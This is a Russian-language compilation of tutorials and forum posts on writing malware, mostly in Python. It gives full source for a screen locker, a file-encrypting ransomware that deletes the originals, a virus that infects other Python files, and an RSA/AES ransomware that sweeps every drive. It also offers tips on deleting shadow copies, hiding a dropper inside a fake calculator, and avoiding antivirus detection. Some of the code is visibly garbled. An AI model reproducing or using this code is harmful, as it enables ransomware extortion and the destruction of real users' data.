Как написать вирус шифровальщик

Как написать шифровальщик на Python
Как написать шифровальщик на Python

Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.

Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.

Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.

Как написать локер, шифровальщик и вирус на Python

Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давайте сразу договоримся: запускать все, что мы здесь описываем, вы будете только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Настройка среды

Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю вас скачивать бесплатную книгу «Укус питона» (PDF). В ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.

Дополнительно установим несколько модулей, которые будем использовать:

pip install pyAesCrypt
pip install pyautogui
pip install tkinter

На этом с подготовительным этапом покончено, можно приступать к написанию кода.

Создание локера

Идея — создаем окно на полный экран и не даем пользователю закрыть его.

Импорт библиотек:

import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep

Теперь возьмемся за основную часть программы.

# Создаем окно
root = Tk()
# Вырубаем защиту левого верхнего угла экрана
pyautogui.FAILSAFE = False
# Получаем ширину и высоту окна
width = root.winfo_screenwidth()
height = root.winfo_screenheight()
# Задаем заголовок окна
root.title('From "hacker" with love')
# Открываем окно на весь экран
root.attributes("-fullscreen", True)
# Создаем поле для ввода, задаем его размеры и расположение
entry = Entry(root, font=1)
entry.place(width=150, height=50, x=width/2-75, y=height/2-25)
# Создаем текстовые подписи и задаем их расположение
label0 = Label(root, text="╚(•⌂•)╝ Locker by hacker (╯°□°)╯︵ ┻━┻", font=1)
label0.grid(row=0, column=0)
label1 = Label(root, text="Пиши пароль и жми Ctrl + C", font='Arial 20')
label1.place(x=width/2-75-130, y=height/2-25-100)
# Включаем постоянное обновление окна и делаем паузу
root.update()
sleep(0.2)
# Кликаем в центр окна
click(width/2, height/2)
# обнуляем ключ
k = False
# Теперь непрерывно проверяем, не введен ли верный ключ
# Если введен, вызываем функцию хулиганства
while not k:
    on_closing()

Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.

Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.

Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давайте настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:

import pythoncom, pyHook

hm = pyHook.HookManager()
hm.MouseAll = uMad
hm.KeyAll = uMad
hm.HookMouse()
hm.HookKeyboard()
pythoncom.PumpMessages()

Создадим функцию для ввода ключа:

def callback(event):
    global k, entry
    if entry.get() == "hacker":
        k = True

Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.

Последняя функция, которая нужна для работы окна-вредителя:

def on_closing():
    # Кликаем в центр экрана
    click(width/2, height/2)
    # Перемещаем курсор мыши в центр экрана
    moveTo(width/2, height/2)
    # Включаем полноэкранный режим
    root.attributes("-fullscreen", True)
    # При попытке закрыть окно с помощью диспетчера задач вызываем on_closing
    root.protocol("WM_DELETE_WINDOW", on_closing)
    # Включаем постоянное обновление окна
    root.update()
    # Добавляем сочетание клавиш, которые будут закрывать программу
    root.bind('<Control-KeyPress-c>', callback)

На этом наш импровизированный локер готов.

Создание шифровальщика

Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.

Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:

direct = input("Напиши атакуемую директорию: ")
password = input("Введи пароль: ")

Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:

with open("Crypt.py", "w") as crypt:
    crypt.write('''
    текст программы
    ''')

Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:

import os
import sys

Пишем функцию шифрования (все по мануалу pyAesCrypt):

def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    # Задаем пароль и размер буфера
    password = "'''+str(password)+'''"
    buffer_size = 512*1024
    # Вызываем функцию шифрования
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    # Удаляем исходный файл
    os.remove(file)

Вместо str(password) скрипт-генератор вставит пароль.

Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.

Теперь функция, которая обходит папки. Тут тоже ничего сложного.

def walk(dir):
    # Перебор всех подпапок в указанной папке
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        # Если это файл, шифруем его
        if os.path.isfile(path):
            crypt(path)
        # Если это папка, рекурсивно повторяем
        else:
            walk(path)

В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.

walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))

Здесь снова будет подставляться нужный путь.

Вот весь исходник целиком.

import os
import sys

def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "'"+str(password)+"'"
    buffer_size = 512*1024
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    os.remove(file)

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            crypt(path)
        else:
            walk(path)

walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))

Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.

import os
import sys

# Функция расшифровки
def decrypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "'''+str(password)+'''"
    buffer_size = 512 * 1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size)
    print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'")
    os.remove(file)

# Обход каталогов
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try:
                decrypt(path)
            except Error:
                pass
        else:
            walk(path)

walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))

Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.

Создание вируса

Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.

На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.

import sys
import os

Создадим три функции: сообщение, парсер, заражение.

Функция, которая сообщает об атаке:

def code(void):
    print("Infected")

Сразу вызовем ее, чтобы понять, что программа отработала:

code(None)

Обход директорий похож на тот, что мы делали в шифровальщике.

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        # Если нашли файл, проверяем его расширение
        if os.path.isfile(path):
            # Если расширение — py, вызываем virus
            if (os.path.splitext(path)[1] == ".py"):
                virus(path)
            else:
                pass
        else:
            # Если это каталог, заходим в него
            walk(path)

В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.

Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).

В начале и в конце файла пишем вот такие комментарии:

# START #
# STOP #

Чуть позже объясню зачем.

Дальше функция, которая отвечает за саморепликацию.

def virus(python):
    begin = "# START #n"
    end = "# STOP #n"
    # Читаем атакуемый файл, назовем его copy
    with open(sys.argv[0], "r") as copy:
        # Создаем флаг
        k = 0
        # Создаем переменную для кода вируса и добавляем пустую строку
        virus_code = "n"
        # Построчно проходим заражаемый файл
        for line in copy:
            # Если находим маркер начала, поднимаем флаг
            if line == begin:
                k = 1
                # Добавляем маркер в зараженный код
                virus_code += begin
            # Если мы прошли начало, но не дошли до конца, копируем строку
            elif k == 1 and line != end:
                virus_code += line
            # Если дошли до конца, добавляем финальный маркер и выходим из цикла
            elif line == end:
                virus_code += end
                break
            else:
                pass
    # Снова читаем заражаемый файл
    with open(python, "r") as file:
        # Создаем переменную для исходного кода
        original_code = ""
        # Построчно копируем заражаемый код
        for line in file:
            original_code += line
            # Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir
            if line == begin:
                vir = True
                break
            # Если маркера нет, опускаем флаг vir
            else:
                vir = False
    # Если флаг vir опущен, пишем в файл вирус и исходный код
    if not vir:
        with open(python, "w") as paste:
            paste.write(virus_code + "nn" + original_code)
    else:
        pass

Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.

Создание исполняемого файла

Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать созданный нами шифровальщик вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.

Устанавливаем

pip install PyInstaller

И вводим команду

PyInstaller "имя_файла.py" --onefile --noconsole

Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.

Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.

Я решил проверить, что VirusTotal скажет о моих творениях. Вот отчеты:

  • файл Crypt.exe не понравился 12 антивирусам из 72;
  • файл Locker.exe — 10 антивирусам из 72;
  • файл Virus.exe — 23 антивирусам из 72.

Худший результат показал Virus.exe — то ли некоторые антивирусы обратили внимание на саморепликацию, то ли просто название файла не понравилось. Но как видите, содержимое любого из этих файлов насторожило далеко не все антивирусы.

Итого

Итак, мы написали три вредоносные программы: локер, шифровальщик и вирус, использовав скриптовый язык, и упаковали их при помощи PyInstaller.

Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с C&C-сервером и я совсем не обфусцировал код.

Тем не менее уровень детекта антивирусами оказался на удивление низким. Получается, что даже самый простой вирус шифровальщик может стать угрозой. Так что антивирусы антивирусами, но скачивать из интернета случайные программы и запускать их не думая всегда будет небезопасно.

Источник

Приветствую всех! Прежде чем читать статью предупреждаю, что показываю это все в ознакомительных целя. Приступим к кодингу.
Для начала я определился через какой алгоритм буду шифровать файлы. Я выбрал RSA.
Нашел туториал

Ссылка скрыта от гостей

. Я начал с генерации ключей, но у меня появилась ошибка, хотя я скопировал код сайта.
Я разобрался надо просто установить pycryptodome

Окей, ошибки я миновал, все работает.

Код:

from Crypto.PublicKey import RSA

code = 'nooneknows'
key = RSA.generate(2048)

encrypted_key = key.exportKey(
    passphrase=code,
    pkcs=8,
    protection="scryptAndAES128-CBC"
)

with open('my_private_rsa_key.bin', 'wb') as f:
    f.write(encrypted_key)

with open('my_rsa_public.pem', 'wb') as f:
    f.write(key.publickey().exportKey())

Этот кусок кода сгенерирует нам ключи.

Так теперь мы через os.walk() сделаем так, чтобы все файлы с нужным нам форматов добавлялись в список.

Код:

def GetDirectory(path):

    for rootdir, dirs, files in os.walk(path):

            for file in files:

                if((file.decode('cp1251').split('.')[-1]) in ['doc','mov']):

                    sek = os.path.join(rootdir, file)

                    tmp.append(sek)

Обратите внимание там где ['doc','mov'] вы можете продолжать список, например: ['doc','mov','png','mp3']

Теперь напишем функцию получения дисков в системе.

Код:

def GetDisk():
    for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
        try:
            path = x + ":\"
            os.chdir(path)
            retval = os.getcwd()
            disks.append(retval)
        except WindowsError:
            continue

Определим переменные:

Код:

disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\'

Напишем функцию гена ключей:

Код:

def GenRSA():
    code = 'loli'
    key = RSA.generate(2048)

    encrypted_key = key.exportKey(
        passphrase=code,
        pkcs=8,
        protection="scryptAndAES128-CBC"
    )

    with open(appdata + 'prk.bin', 'wb') as f:
        f.write(encrypted_key)

    with open(appdata + 'pbk.pem', 'wb') as f:
        f.write(key.publickey().exportKey())

И теперь самое интересное, функция шифровки:

Код:

def Crypt(filename):
    handle = open(filename,'rb')
    data = handle.read()
    handle.close()
    data = bytes(data)
    with open(filename, 'wb') as out_file:
        recipient_key = RSA.import_key(
            open(appdata + 'pbk.pem').read()
        )
        session_key = get_random_bytes(16)
        cipher_rsa = PKCS1_OAEP.new(recipient_key)
        out_file.write(cipher_rsa.encrypt(session_key))
        cipher_aes = AES.new(session_key, AES.MODE_EAX)
        ciphertext, tag = cipher_aes.encrypt_and_digest(data)
        out_file.write(cipher_aes.nonce)
        out_file.write(tag)
        out_file.write(ciphertext)

Таким образом мы будем передавать полученные диски в os.walk()

Код:

for d in disks:
    GetDirectory(d)

Когда os.walk() соберет файлы с нужным нам форматом мы их прогоним через функцию crypt которая зашифрует их.

Код:

for filename in tmp:
    try:
        Crypt(filename)
        added.append(filename)
    except IOError:
        continue

Если будет ошибка что прав недостаточно, то файл пропускается.
Теперь сделаем так, чтобы он записывал в .locked файл, что он зашифровал, чтобы потом быстро можно было дешифровать.

Код:

handle = open(appdata + 'cripted.lock','w')
for j in added:
    handle.write(j)
    handle.write('n')
handle.close()
print 'done'

Вот что у нас получилось:

Код:

# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
import os

disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\'

def GetDisk():
    for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
        try:
            path = x + ":\"
            os.chdir(path)
            retval = os.getcwd()
            disks.append(retval)
        except WindowsError:
            continue



def GetDirectory(path):
    for rootdir, dirs, files in os.walk(path):
            for file in files:
                if((file.decode('cp1251').split('.')[-1]) in ['doc','mov']):
                    sek = os.path.join(rootdir, file)
                    tmp.append(sek)

def GenRSA():
    code = 'loli'
    key = RSA.generate(2048)

    encrypted_key = key.exportKey(
        passphrase=code,
        pkcs=8,
        protection="scryptAndAES128-CBC"
    )

    with open(appdata + 'prk.bin', 'wb') as f:
        f.write(encrypted_key)

    with open(appdata + 'pbk.pem', 'wb') as f:
        f.write(key.publickey().exportKey())

def Crypt(filename):
    handle = open(filename,'rb')
    data = handle.read()
    handle.close()
    data = bytes(data)
    with open(filename, 'wb') as out_file:
        recipient_key = RSA.import_key(
            open(appdata + 'pbk.pem').read()
        )
        session_key = get_random_bytes(16)
        cipher_rsa = PKCS1_OAEP.new(recipient_key)
        out_file.write(cipher_rsa.encrypt(session_key))
        cipher_aes = AES.new(session_key, AES.MODE_EAX)
        ciphertext, tag = cipher_aes.encrypt_and_digest(data)
        out_file.write(cipher_aes.nonce)
        out_file.write(tag)
        out_file.write(ciphertext)

GenRSA()
GetDisk()

for d in disks:
    GetDirectory(d)

for filename in tmp:
    try:
        Crypt(filename)
        added.append(filename)
    except IOError:
        continue

handle = open(appdata + 'cripted.lock','w')
for j in added:
    handle.write(j)
    handle.write('n')
handle.close()
print 'done'

Теперь мы должны сделать расшифровку, верно? Я не буду показывать полноценный код для того, чтобы если вам действительно это интересно, вы доделаете сами. Я покажу код, который просто считает ОДИН файл, расшифровывает его и выводит дату на экран. Вот код:

Код:

from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
import os #Импортим либы


code = 'loli'
appdata = os.environ['appdata']
appdata += r'\' #Вводим переменные

with open('lx.txt', 'rb') as fobj:
    private_key = RSA.import_key(
        open(appdata + 'prk.bin').read(), #prk.bin это приватный ключ
        passphrase=code
    ) # Открываем зашифрованный файл

    enc_session_key, nonce, tag, ciphertext = [
        fobj.read(x) for x in (private_key.size_in_bytes(), 16, 16, -1)
    ]

    cipher_rsa = PKCS1_OAEP.new(private_key)
    session_key = cipher_rsa.decrypt(enc_session_key)

    cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
    data = cipher_aes.decrypt_and_verify(ciphertext, tag) #Расшифровываем

print(data)# Показываем дату расшифрованную

То есть что вам надо доделать в расшифровке, считать с файла cripted.lock пути к файлам, которые он зашифровал, и в цикл все это дело запихать и все файлы расшифровываем не выводим их содержимое а перезаписуем. Также можете по вкусу добавить автозагрузку, смена обоев и прочее. Еще один важный момент, у нас два ключа: публичный и приватный, приватный нужен для расшифровки поэтому его желательно хранить на сервере.
Я вам дал основу, дальше вы можете модифицировать этот код. Спасибо за внимание и не совершайте глупостей)

PS При считывание с файла в списке будет n, с ним файлы расшифровываться не будут, чтобы убрать его(n) используйте tmp = map(lambda s: s.strip(),tmp)
PSPS Также стоит сделать так чтобы удалялись shadowcopy, чтобы назад откатиться не могли.

#1

riaman

    Member

  • Posters
  • 206 Сообщений:

Отправлено 04 Июль 2017 — 10:05

Я всё-таки потратил половину рабочего дня в пятницу на прошлой недели и, пока коллеги добивали очередного монстра на просторах Калимдора, я писал свой «детский» шифровальщик. В процессе написания было отмечено несколько интересных моментов со стороны Касперского, о которых будет сказано ниже (на машине, где писался «вирус», установлен именно Касперский).

Сам шифровальщик работал по следующему алгоритму:
1) Искал все файлы в моих документах (исключая системные, скрытые и т.п.).
2) Читал каждый файл по байтно, изменяя каждый считанный байт по формуле (read_byte XOR key[i]) + 1 и записывал изменённый байт в новый файл.
3) На место считанного байта в оригинальный файл записывал значение 0xFF (в шестнадцатеричной системе) (это для того, чтобы уменьшить вероятность восстановления файла утилитами восстановления удалённых файлов).

В процессе написания шифровальщика я последовательно вводил в код перечисленные выше функции, и Касперский сработал только на последнем третьем пункте. Причина срабатывания заключалась в том, что я писал «непонятные» данные в заголовки файлов (в начало файлов). Поэтому я внёс небольшое изменение в этот пункт, и стал перезаписывать данные только в середине файла (после первых 1000 байт и до последних 1000 байт). Но, так как Касперский уже «запомнил» моего шифровальщика, то детект периодически возникал, и пришлось собирать проект не в «дебаге», а в «релизе» (то есть с другими «системными настройками»). В «релизе» детекта не было. И тут меня срочно вызвали товарищи из «боевого братства», бить врагов теперь уже не в Калимдоре, а под Малиновкой. Написание «переносчика» вируса и тестирование пришлось отложить до понедельника…

Как известно, утро в понедельник добрым не бывает… Я начал с небольшой доработки моего шифровальщика, но теперь он уже детектился Касперским и под дебажной, и под релизной сборкой, и в разных местах, и с разными названиями… Но это было не из-за того, что программа шифровала файлы, а потому что (как я уже писал) при первой попытке реализации перезаписывания исходного файла перезаписывались «запрещённые» секции файлов (заголовки), и этим мой шифровальщик засветился перед Каспером, и он его каким-то образом запомнил. (и это не смотря на то, что я исправил вирус, и он уже не записывал данные в заголовки файлов). Что бы избежать детекта, пришлось пересобрать проект на старом добром делфи 7 (изначально, разработка велась в делфи 10). И о чудо, пересборка проекта в делфи 7 помогла!

Чтоб эксперимент был более реальным, я написал ещё одно приложение «Инженерный калькулятор» с двумя кнопками. «Инженерный калькулятор», помимо сложных математических вычислений 2*2, выполнял скрытую функцию: через 5 секунд после запуска он выполнял поиск шифровальщика (в папке, из которой был запущен) и копировал его в папку автозагрузки пользователя. На этом этапе всё работало хорошо, Касперский молчал. Тогда я подумал, что «Инженерный калькулятор», это же не обычный калькулятор, и он должен быть более «изобретательным». Теперь «Инженерный калькулятор» пытался копировать программу-шифровальщик в автозапуск каждые 30 секунд. Но на этом этапе Касперский выдал предупреждение, что мой калькулятор ведёт себя подозрительно и предложил выбрать что с ним сделать. Пришлось откатить изменения и остановиться на первоначальном варианте, когда программа-шифровальщик копируется один раз папку автозагрузки.

Пришло время переходить к тестированию вируса и антивирусов. Я подготовил флешку, на которой было два файла, шифровальщик и «Инженерный калькулятор». Было выбрано два компьютера один с Доктор Вебом, другой с Касперским. Ход эксперимента состоял из следующих шагов:
1) Вставляем флешку в компьютер.
2) Запускаем с неё «Инженерный калькулятор», ждём 20-30 секунд (пока файл нашего шифровальщика поместиться в автозапуск).
3) Закрываем «Инженерный калькулятор».
4) Выполняем перезагрузку компьютера.
5) Ждём, пока все файлы пользователя (вордовские, базы данных аксеса, архивные файлы – всего около 30 штук общим объемом около 10 Мбайт) в папке «мои документы» шифруются.
Почему ждём…? Да потому что ни один из этих двух антивирусов не выдал ни одного предупреждения.

Что можно сказать «в сухом остатке», если человек без опыта в сфере «вирусов», на коленке за пол дня написал пусть и не типичный, и «детский» шифровальщик, который никак не детектится…? Да то, что ни один антивирус не может защитить от угроз «нулевого дня», если за дело берётся профессиональный вирусописатель. Остаётся лишь надеяться на оперативность добавления в базы, и на всякие облака, и т.п.

p/s: Хорошо, что я предусмотрительно написал утилиту для расшифровки и сделал бэкапы :-)

  • Наверх

#2


Konstantin Yudin

Konstantin Yudin

    Смотрящий

  • Dr.Web Staff
  • 19 414 Сообщений:

Отправлено 04 Июль 2017 — 10:50

Чем проще шифровальщик тем сложнее его поймать. В базу они попадают увы пост фактум, в купе со страхом юзера выходит эффективно и не затратно в плане разработки, вот и имеем тренд. Продолжайте свои эксперименты, это всегда полезно ;)

With best regards, Konstantin Yudin
Doctor Web, Ltd.

  • Наверх

#3


Konstantin Yudin

Konstantin Yudin

    Смотрящий

  • Dr.Web Staff
  • 19 414 Сообщений:

Отправлено 04 Июль 2017 — 11:02

Главная проблема с энкодерами не как их поймать, а как снизить процент ложных срабатываний. Гляньте вокруг, вокруг легальный софт — энкодеры.

With best regards, Konstantin Yudin
Doctor Web, Ltd.

  • Наверх

#4


riaman

riaman

    Member

  • Posters
  • 206 Сообщений:

Отправлено 04 Июль 2017 — 11:30

Продолжайте свои эксперименты, это всегда полезно ;)

Нет уж хватит… )

Я не встроил окно с сообщением, куда деньги направлять, поэтому наверное антивирусы не сработали…

  • Наверх

#5


v.martyanov

v.martyanov

    Guru

  • Virus Analysts
  • 8 308 Сообщений:

Отправлено 04 Июль 2017 — 11:54

На окно уж точно должно быть поперек. А на чем писали? Не на .NET ли?

  • Наверх

#6


Konstantin Yudin

Konstantin Yudin

    Смотрящий

  • Dr.Web Staff
  • 19 414 Сообщений:

Отправлено 04 Июль 2017 — 12:11

Продолжайте свои эксперименты, это всегда полезно ;)

Нет уж хватит… )

 Я не встроил окно с сообщением, куда деньги направлять, поэтому наверное антивирусы не сработали…

зря, лучший способ понять как работает, сломать все. а чтобы сломать нужно использоваться методики темной стороны, главное не увлечься :)

так же намекну что скоро в бете будут доработки для этой проблемы.

With best regards, Konstantin Yudin
Doctor Web, Ltd.

  • Наверх

#7


riaman

riaman

    Member

  • Posters
  • 206 Сообщений:

Отправлено 04 Июль 2017 — 12:31

На окно уж точно должно быть поперек. А на чем писали? Не на .NET ли?

Нет, на делфи 7, для работы с файлами использовал «специализированный в Delphi объект TFileStream». Ну и я не знаю, что за настройки у антивирусов были на машинах, что там админы настроили… Но думаю, особо ничего они не меняли.

Сообщение было изменено riaman: 04 Июль 2017 — 12:33

  • Наверх

#8


riaman

riaman

    Member

  • Posters
  • 206 Сообщений:

Отправлено 04 Июль 2017 — 13:01

нужно использоваться методики темной стороны, главное не увлечься

Про тёмные силы…

Был случайный опыт, когда нужно было записывать людей на одном из сайтов. Запись открывалась всегда в разное время, а очередь была большая… Была разработана программа отслеживания открытия записи и автозаполнения регистрационной формы на сайте. Оставалось ввести только капчу.

Через некоторое время даже с этой программой становилось всё сложнее успеть записать человека. Стал думать над расшифровкой капчи. Капча была лёгкая, только из чисел, решил её распознать, но пока собирался засесть за эту задачу, капчу усложнили, добавили буквы… Через некоторое время, я увидел, что капчу можно прослушать… Ну и в результате, я смог распознать капчу по аудио-файлу, но в бою обкатать не успел, т.к. вскоре убрали аудио капчу (видать засекли меня, пока я качал файлы образцов с сайта и отлаживал программу). А после и вовсе закрыли эту интернет запись, т.к. свободные места расходились за 2-3 секунды.

Вообще, занятная история была, борьбы «щита и меча». Тянет на отдельный более полный рассказ)

Сообщение было изменено riaman: 04 Июль 2017 — 13:05

  • Наверх

#9


Ilyas_k

Ilyas_k

    Newbie

  • Posters
  • 19 Сообщений:

Отправлено 07 Июль 2017 — 22:47

мой шифровальщик засветился перед Каспером, и он его каким-то образом запомнил.

Любопытно. Стало быть виртуалка с откатываемыми изменениями при перезагрузке + отключенный интернет во время тестов на «совместимость».  Или есть ещё какие нибудь технологии у ав. вендоров, что бы усложнить жизнь вирусописателям? Имеется ввиду способы затруднить возможность выяснить будет ли детект в широкой массе или нет?

  • Наверх

#10


riaman

riaman

    Member

  • Posters
  • 206 Сообщений:

Отправлено 08 Июль 2017 — 17:36

Не знаю. Но мне кажется, достаточно не включать интернет на машине, где тестируешь, чтоб если попал под подозрение, то не передался на анализ. Но без интернета облако не работает, а что оно делает, я слабо представляю.

  • Наверх

В мире  существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести  хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому  списку можно с абсолютной уверенностью добавить вирусы на Python.

Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях?  Желание нагадить ближнему без необходимости учить C/C++?  Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?

Если отбросить часть иронии…

… и вникнуть в ситуацию, то становится видно, что адекватные  питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами  (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.

Есть  продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.

Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на  Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.

Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.

Упаковка в бинарники

Поскольку Python —  язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.

  • https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор,  ваш код + все необходимые зависимости. 
  • https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в  С и потом компилирует его. 

Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса,  виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник.  Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.

Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.

А шо вирусу делать?

